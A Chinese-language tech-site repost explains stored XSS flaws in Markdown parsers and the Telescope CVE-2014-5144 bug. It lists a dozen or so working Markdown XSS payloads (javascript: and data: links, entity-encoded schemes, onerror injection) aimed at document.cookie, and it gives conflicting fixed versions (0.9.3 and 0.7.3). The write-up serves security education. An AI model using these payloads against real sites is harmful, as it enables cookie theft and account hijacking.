返回顶部
首页 > 资讯 > 精选 >如何分析Markdown解析器的持久型XSS漏洞
  • 544
分享到

如何分析Markdown解析器的持久型XSS漏洞

2023-06-17 06:06:15 544人浏览 安东尼
摘要

如何分析markdown解析器的持久型XSS漏洞,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。什么是Markdown?Markdown是一种轻量级的标记语言,流

如何分析markdown解析器的持久型XSS漏洞,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

什么是Markdown?

Markdown是一种轻量级的标记语言,流行程度已经得到了GitHub和Stack Overflow的广泛支持,作为普通人我们也可以轻松上手。

用markdown来写文章非常赞,那些琐碎的html标签都可以抛到脑后不用管。最近5年内,markdown收到非常多的关注,包括Reddit,github,StackOverflow在内的很多应用都使用 markdown这也催生了很多的markdown解析器的产生,这里定义了一些markdown语法,语法约定markdown解析器将这些标签解析为html标签。

如何分析Markdown解析器的持久型XSS漏洞

Markdown安全现状

Markdown解析器的安全现状如何?有没有对用户输入的数据做过滤?

事实上,很多markdown解析器都没有过滤用户输入的数据,那么如果markdown被用于添加用户评论等功能的时候,就有可能存在安全风险。

这里有一些关于这个问题的讨论:[1], [2], [3].

另外,如果用Googe搜索一下:

markdown xss issue site:github.com

如何分析Markdown解析器的持久型XSS漏洞

你就会发现github上又很多***很高的项目都被发现存在XSS 漏洞。

所以,如何构造一些payload呢?看下面这些:

[a](javascript:prompt(document.cookie))[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))![a](javascript:prompt(document.cookie))\<javascript:prompt(document.cookie)> <&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>  ![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)[a](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)![a&#039;"`onerror=prompt(document.cookie)](x)\[citelol]: (javascript:prompt(document.cookie))[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)[test](javascript://%0d%0aprompt(1))[test](javascript://%0d%0aprompt(1);com)

上面这些payload是由Aleksa和原文作者一起搞出来的。在过去的12个月内,在实际渗透测试中证明,上面的这些 payload 是有效的。并且很多 markdown 解析器都受到影响。来看一下***一个payload:

[test](javascript://%0d%0aprompt(1);com)

我们猜测,markdown 解析器可能通过如下几个步骤来进行解析&转换:

判断时候有协议头?//有javascript 伪协议,Y

hostname 是以常见的域名后缀(com, org)结尾的?//是的,以 com 结尾 Y

将上述 payload 转换为 HTML 标签,//结果如下

<a href="javascript://%0d%0aprompt(1);com>test</a>

成功构造了一个XSS payload!当点击了上述链接后,就会触发XSS!

Telescope解析器一个持久性 XSS 漏洞(CVE-2014-5144)

Telescope是一个有名的开源项目,类似Reddit和Hackernews一样,提供一个社区功能。Telescope的一个解析帖子&评论的功能存在 XSS 漏洞,并且这个功能存在很久了!

在0.9.3之前的版本中,以上面的 payload 列表中的 payload 发帖或者发表评论,就可以导致一个XSS漏洞。该漏洞已经修复,Telescope在这里发了changelog:Http://www.telesc.pe/blog/telescope-v093-dailyscope/

下面是漏洞对应的payload:

[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)

如何分析Markdown解析器的持久型XSS漏洞

如何分析Markdown解析器的持久型XSS漏洞

注意:上述漏洞已经在Telescope >= 0.7.3版本中修复了。

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注编程网精选频道,感谢您对编程网的支持。

--结束END--

本文标题: 如何分析Markdown解析器的持久型XSS漏洞

本文链接: https://lsjlt.com/news/287673.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • 如何分析Markdown解析器的持久型XSS漏洞
    如何分析Markdown解析器的持久型XSS漏洞,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。什么是MarkdownMarkdown是一种轻量级的标记语言,流行...
    99+
    2023-06-17
  • Web网络安全分析XSS漏洞原理详解
    目录XSS基础XSS漏洞介绍XSS漏洞原理反射型XSS存储型XSSDOM型XSSXSS基础 XSS漏洞介绍 跨站脚本(Cross-Site Scripting,简称为XSS或跨站脚本...
    99+
    2024-04-02
  • Web网络安全漏洞分析DOM型XSS攻击原理
    目录DOM型XSS攻击DOM型XSS代码分析DOM型XSS攻击 DOM型XSS攻击页面实现的功能是在“输入”框中输入信息,单击“替换”按钮时,页面会将“这里会显示输入的内容”替换为输...
    99+
    2024-04-02
  • Web网络安全漏洞分析存储型XSS攻击原理
    目录存储型XSS攻击存储型XSS代码分析存储型XSS攻击 存储型XSS页面实现的功能是:获取用户输入的留言信息、标题和内容,然后将标题和内容插入到数据库中,并将数据库的留言信息输出到...
    99+
    2024-04-02
  • 如何进行CouchDB漏洞的分析
    今天就跟大家聊聊有关如何进行CouchDB漏洞的分析,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。0x00 文档信息    ...
    99+
    2023-06-19
  • 如何分析Apache Struts2-052 漏洞分析预警
    本篇文章给大家分享的是有关如何分析Apache Struts2-052 漏洞分析预警,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。0x00 漏洞描述The REST ...
    99+
    2023-06-19
  • 如何进行CVE-2018-4990 漏洞分析
    这篇文章给大家介绍如何进行CVE-2018-4990 漏洞分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。测试版本:AcroRdrDC1700920044_en_US 漏洞模块: Escript.api 漏洞函数 修...
    99+
    2023-06-04
  • 资源解析漏洞如何修复
    修复资源解析漏洞的方法首先,在计算机中查找到php.ini文件;php.ini文件查找到后,使用记事本打开;文件打开后,在文件中将cgi.fix_pathinfo的值设置为0;最后,php.ini文件配置好后,在Nginx配置文件中添加以下...
    99+
    2024-04-02
  • 如何进行Intel CSME 漏洞预警的分析
    本篇文章为大家展示了如何进行Intel CSME 漏洞预警的分析,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。0x00 漏洞背景英特尔公布:在英特尔 CSME,英特尔服务器平台服务和英特尔...
    99+
    2023-06-19
  • 如何进行GPON光纤路由器漏洞分析
    如何进行GPON光纤路由器漏洞分析,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。0x00 漏洞概述日前,360-CERT监测到两个由VPNMentor...
    99+
    2023-06-19
  • 如何进行Apache Struts2 S2-057漏洞分析
    今天就跟大家聊聊有关如何进行Apache Struts2 S2-057漏洞分析,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。如果未为基础xml配置中定义的结果设置命名空间值,同时其上...
    99+
    2023-06-19
  • 如何分析iPhone FaceTime通话漏洞预警
    这篇文章给大家介绍如何分析iPhone FaceTime通话漏洞预警,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。0x00 漏洞背景近日,360CERT监测到Iphone FaceTime 通话出现隐私泄露漏...
    99+
    2023-06-19
  • 如何分析Samba信息泄露漏洞SambaBleed
    本篇文章给大家分享的是有关如何分析Samba信息泄露漏洞SambaBleed,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。Samba作为Linux和UNIX系统上实现SMB协议...
    99+
    2023-06-19
  • 如何扫描网站漏洞 针对于海洋CMS的漏洞检查分析
    临近9月底,seacms官方升级海洋cms系统到9.95版本,我们SINE安全在对其源码进行网站漏洞检测的时候发现问题,可导致全局变量被覆盖,后台可以存在越权漏洞并绕过后台安全检测直接登录管理员账号。关于该漏洞的具体详情,我们来详细的分析一...
    99+
    2023-06-03
  • Web网络安全漏洞分析XSS常用语句及编码绕过详解
    目录XSS进阶XSS常用语句及编码绕过XSS常用的测试语句JS编码HTML实体编码URL编码XSS进阶 XSS常用语句及编码绕过 XSS常用的测试语句 <img src=1...
    99+
    2024-04-02
  • 如何分析Web安全中的明文密码漏洞
    这篇文章给大家介绍如何分析Web安全中的明文密码漏洞,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。明文是未加密的信息,明文密码自然就是未加密的密码信息,而明文密码传输、明文密码存储、密码弱加密及密码存储在攻击者能访问的...
    99+
    2023-06-17
  • 如何进行Ghostscript SAFER沙箱绕过漏洞的分析
    这篇文章跟大家分析一下“如何进行Ghostscript SAFER沙箱绕过漏洞的分析”。内容详细易懂,对“如何进行Ghostscript SAFER沙箱绕过漏洞的分析”感兴趣的朋友可以跟着小编的思路慢慢深入来阅读一下,希望阅读后能够对大家有...
    99+
    2023-06-04
  • Apache HTTPD 换行解析漏洞(CVE-2017-15715)的分析与复现
    目录 一、CVE-2017-15715漏洞简介 1、概述 2、原理 3、影响版本 二、复现环境 三、漏洞复现 1、在Ubuntu编译及运行漏洞环境 2、上传文件,使用Burp Suite Professional v1.7.37抓包 3、...
    99+
    2023-09-18
    php 开发语言
  • 如何进行Redis持久化RDB和AOF的分析
    如何进行Redis持久化RDB和AOF的分析,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。Redis持久化方案Redis是内存数据库,数据都是...
    99+
    2024-04-02
  • 如何进行EFAIL中的PGP/GPG和S/MIME漏洞分析
    如何进行EFAIL中的PGP/GPG和S/MIME漏洞分析,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。0x00 漏洞背景PGP/GPG 和 S/MIME是为电子...
    99+
    2023-06-19
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作